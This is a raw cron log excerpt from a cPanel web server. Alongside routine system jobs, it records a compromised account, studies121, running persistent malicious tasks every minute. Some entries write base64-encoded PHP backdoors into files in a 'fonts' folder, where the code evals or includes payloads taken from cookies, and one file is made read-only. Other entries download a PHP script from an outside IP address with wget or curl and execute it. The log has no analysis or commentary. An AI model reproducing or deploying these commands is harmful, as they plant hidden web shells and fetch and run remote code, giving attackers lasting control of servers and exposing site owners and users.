Sep  8 16:18:01 ip-184-168-122-23 CROND[16499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:18:01 ip-184-168-122-23 CROND[16501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:18:01 ip-184-168-122-23 CROND[16500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:18:01 ip-184-168-122-23 CROND[16502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:19:01 ip-184-168-122-23 CROND[16670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:19:01 ip-184-168-122-23 CROND[16672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:19:01 ip-184-168-122-23 CROND[16673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:19:01 ip-184-168-122-23 CROND[16676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:20:01 ip-184-168-122-23 CROND[16781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:20:01 ip-184-168-122-23 CROND[16788]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:20:01 ip-184-168-122-23 CROND[16791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:21:01 ip-184-168-122-23 CROND[16892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:21:01 ip-184-168-122-23 CROND[16894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:21:01 ip-184-168-122-23 CROND[16895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:21:01 ip-184-168-122-23 CROND[16896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:22:02 ip-184-168-122-23 CROND[17014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:22:02 ip-184-168-122-23 CROND[17016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:22:02 ip-184-168-122-23 CROND[17018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:22:02 ip-184-168-122-23 CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:22:02 ip-184-168-122-23 CROND[17020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:23:01 ip-184-168-122-23 CROND[17111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:23:01 ip-184-168-122-23 CROND[17112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:23:01 ip-184-168-122-23 CROND[17114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:23:01 ip-184-168-122-23 CROND[17115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:24:01 ip-184-168-122-23 CROND[17218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:24:01 ip-184-168-122-23 CROND[17219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:24:01 ip-184-168-122-23 CROND[17220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:24:01 ip-184-168-122-23 CROND[17222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:24:01 ip-184-168-122-23 CROND[17223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:25:01 ip-184-168-122-23 CROND[17343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:25:01 ip-184-168-122-23 CROND[17344]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 16:25:01 ip-184-168-122-23 CROND[17346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:25:01 ip-184-168-122-23 CROND[17348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:25:01 ip-184-168-122-23 CROND[17347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:25:01 ip-184-168-122-23 CROND[17349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:25:01 ip-184-168-122-23 CROND[17350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:26:01 ip-184-168-122-23 CROND[17453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:26:01 ip-184-168-122-23 CROND[17454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:26:01 ip-184-168-122-23 CROND[17455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:26:01 ip-184-168-122-23 CROND[17458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:26:01 ip-184-168-122-23 CROND[17456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:27:01 ip-184-168-122-23 CROND[17549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:27:01 ip-184-168-122-23 CROND[17551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:27:01 ip-184-168-122-23 CROND[17550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:27:01 ip-184-168-122-23 CROND[17553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:28:01 ip-184-168-122-23 CROND[17648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:28:01 ip-184-168-122-23 CROND[17651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:28:01 ip-184-168-122-23 CROND[17650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:28:01 ip-184-168-122-23 CROND[17652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:28:01 ip-184-168-122-23 CROND[17653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:29:01 ip-184-168-122-23 CROND[17838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:29:01 ip-184-168-122-23 CROND[17839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:29:01 ip-184-168-122-23 CROND[17841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:29:01 ip-184-168-122-23 CROND[17844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17937]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:30:01 ip-184-168-122-23 CROND[17948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
